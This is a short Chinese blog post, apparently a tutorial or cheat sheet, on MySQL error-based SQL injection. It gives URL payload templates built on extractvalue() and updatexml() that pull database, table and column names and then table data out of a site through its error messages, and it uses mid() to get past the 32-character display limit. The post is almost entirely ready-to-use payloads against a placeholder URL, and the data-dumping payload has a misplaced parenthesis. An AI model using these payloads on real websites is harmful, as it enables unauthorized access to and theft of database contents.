美文网首页
MySQL报错注入

MySQL报错注入

作者: 好好睡觉鸭 | 来源:发表于2020-11-09 15:29 被阅读0次

    extractvalue(),最多显示32位

    • 模版

      http://url/?id=1 and (extractvalue(1,concat(0x7e,([code]),0x7e)))--+
      

    在[code]处插入语句

    • 库名

      http://url/?id=1 and (extractvalue(1,concat(0x7e,(select group_concat(schema_name)+from+information_schema.schemata),0x7e)))--+
      

    数据库名

    因为限制了显示位数,所以未完全显示出所有数据库,使用截断,

    http://url/?id=1 and (extractvalue(1,concat(0x7e,(select mid(group_concat(schema_name),32)+from+information_schema.schemata),0x7e)))--+
    

    数据库名2

    直到将所有数据库名全部显示,其他数据注入基本大致相同,如下。

    • 表名

      http://url/?id=1 and (extractvalue(1,concat(0x7e,(select mid(group_concat(table_name),1{截断})+from+information_schema.tables+where+table_schema={库名的16进制}),0x7e)))--+
      
    • 列名

      http://url/?id=1 and (extractvalue(1,concat(0x7e,(select mid(group_concat(column_name),1{截断})+from+information_schema.columns+where+table_name={表名的16进制}),0x7e)))--+
      
    • 数据

      http://url/?id=1 and (extractvalue(1,concat(0x7e,(select mid(group_concat({列})),1{截断})+from+库.表),0x7e)))--+
      
    • 扩展
      updatexml()的操作与extractvalue()基本一致,语句如下:

      http://url/?id=1 and (updatexml(1,concat(0x7e,([code]),0x7e),1))

    相关文章

      网友评论

          本文标题:MySQL报错注入

          本文链接:https://www.haomeiwen.com/subject/bwblbktx.html